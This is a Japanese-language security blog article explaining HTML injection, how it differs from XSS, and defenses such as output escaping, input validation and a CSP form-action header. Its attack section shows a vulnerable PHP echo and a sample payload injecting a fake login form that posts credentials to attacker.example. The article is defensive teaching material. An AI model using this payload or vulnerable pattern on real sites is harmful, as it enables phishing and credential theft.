MENU

HTMLインジェクションとは?仕組み・被害例・XSSとの違い・対策をわかりやすく解説

利用者が入力したテキストが「そのままページに表示される」仕組みは、Webサービスのあちこちに存在します。検索キーワードの表示、エラーメッセージへの入力値の埋め込み、プロフィール欄の出力…。このような箇所でHTMLの特殊文字をエスケープしていないと、HTMLインジェクション脆弱性が生じます。

JavaScriptを実行させるXSSほど派手な被害には見えないケースも多く、「そのうちやればいいか」と後回しにされやすい脆弱性です。しかし攻撃者の視点から見ると、HTMLインジェクションはフィッシング詐欺の入口として、あるいはページ改ざんの手段として十分に利用価値があります。

この記事では、HTMLインジェクションの仕組み・XSSとの違い・具体的な対策手順を、現場で使えるレベルで解説します。

HTMLインジェクションとは?仕組み・被害例・XSSとの違い・対策をわかりやすく解説 - 解説

目次

HTMLインジェクションとは?

HTMLインジェクションは、WebアプリケーションがユーザーからのHTTP入力(フォーム値・URLパラメータ・HTTPヘッダーなど)を適切にエスケープせずにHTMLとして出力してしまう脆弱性です。攻撃者は意図的にHTMLタグや属性を含む文字列を送信し、ページの構造を書き換えます。

JavaScriptを実行させるXSSとは異なり、HTML要素だけを注入するケースもHTMLインジェクションに分類されます。スクリプト実行を要さず、<img> <a> <form> <iframe> といったタグだけで攻撃が成立するため、スクリプトフィルタだけでは防ぎきれません。

【反射型と蓄積型】

・反射型(Reflected): 攻撃者が作成した特定のURLをクリックしたとき、そのURLパラメータに含まれる悪意あるHTMLが画面に一時的に表示されるタイプです。URLをメールや SNS で拡散するフィッシング攻撃と組み合わせて使われます。
・蓄積型(Stored): 掲示板やプロフィール欄など、入力値をデータベースに保存して後で表示する箇所で発生します。一度登録されると、そのページを閲覧する全利用者に影響します。危険度は反射型より高く、広範囲の被害につながります。

攻撃の仕組み(敵を知る)

HTMLインジェクションがどのように成立するかを、想定例で確認します。

【想定例: 反射型の場合】

あるWebサービスの検索機能が、検索キーワードを次のようにHTMLへ直接埋め込んでいたとします。

# サーバー側の出力処理(問題のある実装例) echo "<p>「" . $_GET['keyword'] . "」の検索結果</p>";

攻撃者が keyword パラメータに次のような文字列を送信したとします(想定例)。

」</p><form action="https://attacker.example/steal"> <p>セキュリティ確認のためログインしてください</p> <input name="user" placeholder="ユーザー名"> <input type="password" name="pass" placeholder="パスワード"> <button>ログイン</button> </form><p style="display:none">「

この文字列がエスケープされずにHTML出力されると、正規ページ内に偽のログインフォームが挿入されます。URLは本物のドメインのままに見えるため、利用者は気づかずに認証情報を入力してしまいます。

主な攻撃パターン

・偽ログインフォームの挿入: <form> タグで攻撃者サーバーへ認証情報を送信させます。
・画面改ざん(Defacement): <img> <div> タグで表示内容や見た目を書き換え、サイトの信頼性を損なわせます。
・外部スクリプト・IFRAMEの読み込み: <script src="..."> や <iframe> を埋め込み、実質的なXSSへ昇格させます。
・リンクのすり替え: <a href="..."> タグで正規のリンクを不審サイトへ差し替えます。

XSSとの違いを正確に理解する

HTMLインジェクションとXSS(クロスサイトスクリプティング)は混同されやすいですが、技術的には次の違いがあります。

項目 HTMLインジェクション XSS
注入するもの HTMLタグ・属性 JavaScriptコード(HTMLタグを含む場合も)
スクリプト実行 不要(HTMLのみでも成立) 必要
主な被害 画面改ざん・フィッシング・偽フォーム Cookie窃取・セッションハイジャック・フィッシング
スクリプトフィルタで防げるか 防げない(<script>タグ不要でも成立) 不完全(バイパス手法が多数存在)
有効な対策の共通点 出力時のHTMLエスケープ処理が最も有効

実際の攻撃では両者は連続しています。HTMLインジェクションで <script> タグを注入できればXSSに発展し、より深刻な被害につながります。「スクリプトタグだけ除去すれば安全」という対策が不十分な理由はここにあります。

DOM型XSSについては、DOM型XSSとは?ブラウザ内で完結するスクリプト攻撃の仕組みと対策をわかりやすく解説も参考にしてください。

具体的な防御手順

1. 出力時のHTMLエスケープを徹底する

最も確実な対策は、ユーザー入力値をHTMLとして出力する直前に、特殊文字を文字参照(エンティティ)に変換することです。

変換前の文字 エスケープ後(文字参照)
<(小なり) &lt;
>(大なり) &gt;
&(アンパサンド) &amp;
“(ダブルクォート) &quot;
‘(シングルクォート) &#x27;

各言語・フレームワークには標準のエスケープ関数が用意されています。

# PHP: htmlspecialchars() を必ず使う echo htmlspecialchars($_GET['keyword'], ENT_QUOTES, 'UTF-8'); # Python (Jinja2テンプレート): {{ }} で自動エスケープ有効時は安全 # 安全: {{ keyword }} # 危険: {{ keyword | safe }} ← safe フィルタは明示的にエスケープを解除する # JavaScript (フロントエンド): innerHTML を使わない element.textContent = userInput; # 安全: テキストとして扱われる # element.innerHTML = userInput; # 危険: HTMLとして解釈される

注意が必要なのは、フレームワークのテンプレートエンジンが「デフォルトでエスケープを行わない」設定になっているケースです。古いシステムや独自フレームワークを使っている場合は、全ての出力箇所を手動で確認してください。

2. 入力値のバリデーションを実装する

出力エスケープを主防御としながら、入力段階でも不正な文字列を弾くことで多層防御(ディフェンス・イン・デプス)になります。

・ホワイトリスト方式: 受け付ける文字の種類・長さ・形式を事前に定義し、それ以外を拒否します。電話番号フィールドは数字とハイフンのみ、メールアドレスはRFC準拠の形式のみ、といった具合です。
・HTMLサニタイジング(許可リスト): リッチテキストエディタのように利用者がHTMLタグを使う必要がある場面では、許可するタグ・属性を明示したホワイトリスト型のHTMLサニタイザー(PHP の HTML Purifier など)を通します。

一般的なつまずきとして、ブラックリスト方式(危険なタグを列挙して除去する)を採用するケースがあります。URLエンコード・大文字小文字の混在・マルチバイト文字などのバイパス手法が多数存在するため、ブラックリスト方式だけに頼るのは危険です。**主防御は出力エスケープ、入力バリデーションは補完措置**という位置づけが正しい設計です。

3. Content Security Policy(CSP)でブラウザ側を守る

Content Security Policy(CSP)は、ブラウザが実行・読み込みを許可するリソースの範囲をHTTPレスポンスヘッダーで宣言する仕組みです。HTMLインジェクション経由で外部スクリプトや外部フォームが注入されても、CSPがそのリソースの実行をブロックします。

# nginx 設定例: CSPヘッダーを追加する add_header Content-Security-Policy "default-src 'self'; script-src 'self'; form-action 'self';" always; # form-action 'self' がポイント: # フォームの送信先を自サイトのみに制限する # 攻撃者が注入した偽フォームが外部サーバーへ情報を送れなくなる # Apache 設定例 Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; form-action 'self';"

CSPはXSS対策としても強力ですが、設定が厳しすぎると正規機能が壊れることもあります。まずは Content-Security-Policy-Report-Only ヘッダーで影響を確認してから本番に適用するのが現場での定石です。

中小企業でも今日からできること

フルスクラッチでシステムを作り直すことなく、既存のWebシステムで今日から着手できる対策を整理します。

・ステップ1 — 出力箇所の棚卸し: ユーザー入力値をHTMLに埋め込んでいる箇所(検索結果ページ・エラーメッセージ・プロフィール表示・コメント欄など)をリストアップし、エスケープ処理の有無を確認します。
・ステップ2 — フレームワークの自動エスケープを確認: 利用中のフレームワーク(WordPress・Laravel・Django・Ruby on Rails等)の設定を確認し、テンプレートの自動エスケープが有効であることを確かめます。
・ステップ3 — WAFのルールを確認: WAFを導入済みであれば、HTMLタグを含む入力値を検知するルールが有効になっているか確認します。WAFはバイパスされる可能性もあるため補助手段として位置づけ、根本的なコード修正も並行して進めます。
・ステップ4 — 定期的な脆弱性スキャン: OWASP ZAP などの無料ツールで自社WebサイトのHTMLインジェクション脆弱性を定期的にチェックする習慣をつけます。

WordPressサイトの場合、テーマやプラグインの更新を怠っていると、入力値を出力するコードに脆弱性が残っているケースがあります。管理画面の更新通知は見逃さないようにしましょう。

よくある誤解と注意点

・「JavaScriptが実行されないから安全」は誤り: HTMLインジェクションはスクリプト不要でも偽フォームによる認証情報窃取や外部リダイレクトによる被害が起きます。「JavaScript無効ならXSSは防げる」という認識と同様に、HTMLインジェクションを軽視するのは危険です。
・「WAFが入っているから大丈夫」は過信: WAFのルールはエンコード変換・大文字小文字の混在などバイパス手法に対して万能ではありません。コードレベルのエスケープ実装が最終防衛ラインです。
・「エスケープは一度やれば終わり」ではない: システム改修や新機能の追加のたびに出力箇所が増えます。コードレビューやCI/CDへの静的解析ツール組み込みなど、開発フローに対策を織り込むことで「気づいたら穴が開いていた」状態を防ぎます。
・データ変換が絡む箇所は見落としやすい: 入力値をJSONとして受け取りHTMLに埋め込む処理など、データ形式の変換が絡むと盲点になりがちです。テンプレートに値を渡す最後の出力点を必ず確認してください。

HTMLインジェクションとは?仕組み・被害例・XSSとの違い・対策をわかりやすく解説 - まとめ

本記事のまとめ

ポイント 内容
HTMLインジェクションとは ユーザー入力をエスケープせずHTMLとして出力する脆弱性
主な被害 偽フォームによるフィッシング、画面改ざん、外部コードの読み込み
XSSとの違い スクリプト不要でも成立する。スクリプトフィルタだけでは防げない
最重要対策 出力時のHTMLエスケープ(htmlspecialchars・textContent等)
補助対策 入力バリデーション(ホワイトリスト方式)・CSPヘッダー・WAF
今日からできること 出力箇所の棚卸し・フレームワーク自動エスケープの設定確認

HTMLインジェクションは「派手な被害が出にくい分、後回しにされやすい脆弱性」の典型例です。しかし偽ログインフォームの挿入一つで利用者の認証情報が流出しうるリスクは、決して軽視できません。

正しく怖がり、正しく備える。エスケープ処理という地道な実装が、サイトの信頼性を守る最初の一手です。

セキュアコーディングの基本原則については、セキュアコーディングとは?安全なWebアプリを作るための基本原則と脆弱性を防ぐ実装ガイドもあわせてご参照ください。また、WebサーバーのHTTPヘッダー設定については、姉妹サイトLinuxMaster.JPでApache・nginxのセキュリティ設定について詳しく解説しています。

PR

体系的に学ぶ 安全なWebアプリケーションの作り方 第2版(徳丸浩/SBクリエイティブ)

HTMLインジェクションを含むWebアプリ脆弱性の仕組みと対策を体系的に解説した定番書。実装レベルのエスケープ処理・入力検証・セキュリティ設計を網羅しており、開発担当者から情シスまで幅広くお勧めできる一冊です。

関連記事をもっと読む

同じテーマの記事をまとめています。あわせて読みたい記事はこちらからご覧いただけます。

よかったらシェアしてね!
  • URLをコピーしました!
  • URLをコピーしました!

この記事を書いた人

目次